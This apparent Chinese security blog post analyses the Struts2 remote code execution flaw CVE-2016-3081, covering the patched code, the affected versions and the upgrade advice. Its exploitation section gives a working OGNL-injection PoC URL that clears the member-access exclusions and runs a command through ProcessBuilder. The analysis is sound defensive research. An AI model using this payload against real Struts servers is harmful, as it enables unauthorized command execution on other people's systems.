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Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析

0x00 漏洞简述

2016年4月21日Struts2官方发布两个CVE,其中CVE-2016-3081官方评级为高。 主要原因为在用户开启动态方法调用的情况下,会被攻击者实现远程代码执行攻击。 从我自己搜索的情况来看,国内开启这个功能的网站不在少数,所以这个“Possible Remote Code Execution”漏洞的被打的可能性还是很高的。

0x01 漏洞原理

直接进行版本比对,我们可以看到针对这个问题,只对DefaultActionMapper.java这个文件进行了修改,修改内容如下:

Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析

我们可以看到只是把method成员变量的值进行了一次过滤, cleanupActionName这个方法是在对“action:”滥用的问题进行添加的,禁止了绝大多数的特殊字符 。但是在后来的版本变更中忽略了之前的问题,将method也引入了Ongl表达式,代码在DefaultAction.java的invokeAction中:

   protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {         String methodName = proxy.getMethod();          if (LOG.isDebugEnabled()) {             LOG.debug("Executing action method = #0", methodName);         }          String timerKey = "invokeAction: " + proxy.getActionName();         try {             UtilTimerStack.push(timerKey);              Object methodResult;             try {                 methodResult = ognlUtil.getValue(methodName + "()", getStack().getContext(), action); 

我们可以看到methodName被带入到getValue了,熟悉Struts相关漏洞的朋友应该都明白这是什么意思,虽然后面被强制添加了一对圆括号,但是想办法语法补齐就好了。相对应的我们来看下在2.3.18版本之前的代码是怎么处理methodName的:

    protected String invokeAction(Object action, ActionConfig actionConfig) throws Exception {         String methodName = proxy.getMethod();          if (LOG.isDebugEnabled()) {             LOG.debug("Executing action method = #0", methodName);         }          String timerKey = "invokeAction: " + proxy.getActionName();         try {             UtilTimerStack.push(timerKey);              boolean methodCalled = false;             Object methodResult = null;             Method method = null;             try {                 method = getAction().getClass().getMethod(methodName, EMPTY_CLASS_ARRAY); 

在这里使用的是反射,所以在这个漏洞发布的时候,我曾一瞬间觉得又是一个骗CVE的鸡肋,但是事实上,这是一个威胁很大的漏洞。但是官方说的受影响版本Struts 2.0.0 – Struts Struts 2.3.28 (except 2.3.20.2 and 2.3.24.2)是不严谨的,应该是2.3.18-2.3.28(except 2.3.20.2 and 2.3.24.2)。

0x02 漏洞利用

利用方式主要难点在于两个地方,一个是上文提到的对于表达式最后的圆括号给予正确的表达式意义。另一个就是在传输过程中method会经过一次转义,双引号和单引号的没有办法使用了,所以需要找到一个绕过。剩下的就是原来套沙盒绕过,命令执行的那套东西了。

对于圆括号,可以直接使用new java.lang.String这样来拼接成new java.lang.String()构成正确Ognl语法。

至于不能使用引号的话,命令执行我们可以使用引用参数的方法来完成对字符串的提取,例如:使用#parameters.cmd来提取http的cmd参数。测试PoC如下:

http://172.16.107.143:8080/Struts2_3_18/hello.action?cmd=gedit&method:(%23_memberAccess).setExcludedClasses(@java.util.Collections@EMPTY_SET),(%23_memberAccess).setExcludedPackageNamePatterns(@java.util.Collections@EMPTY_SET),%23cmd%3d%23parameters.cmd,%23a%3dnew%20java.lang.ProcessBuilder(%23cmd).start().getInputStream(),new java.lang.String 

效果如下图所示:

Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析

这里我小小的猜测一下,官方发布的日期是20,而漏洞提交team做宣传是在4月25日,那么是不是在提交CVE时还没有完成谈计算器的利用,还是为了符合漏洞提交规范做的延时?小八卦一下O(∩_∩)O。

0x03 漏洞总结

虽然现在CVE已经发布,但是从目前网络情况上(twitter和微博)来看,并没有安全研究人员关注到这两个CVE,可能是因为官方发不过太多鸡肋的CVE了,国内的各路炒洞高手已经对Struts2麻木了。所以目前的情况是属于漏洞存在那里,发了CVE,但是没有任何人去研究利用,发布相关分析。这个漏洞和Struts2前N次被炒的热热闹闹的漏洞影响和危害相比,真是不可同日而语, 这个漏洞真的很实在。

看到这里,打算磨拳擦掌要去调回显PoC的朋友们,这里我要在提醒一次。虽然我在之前说了存在这个问题的站点很多,但是这个漏洞存在版本限制,在Struts2.3.18及其以上的版本才可以触发。而国内大多数的站点由于Struts在2.3.16之后再也没有出现过大的问题,所以绝大多数停留在2.3.16这个版本,这让这个看似很不错的漏洞略显鸡肋了。

防护方案

目前官方已经推出了2.3.20.2、2.3.24.2和2.3.28.1修复了这个问题,大家可以针对自己所使用的版本进行升级。下载地址: https://struts.apache.org/download.cgi#struts23281

【原文来源: Struts2方法调用远程代码执行漏洞(CVE-2016-3081)分析 作者:tang3  安全脉搏整理发布】

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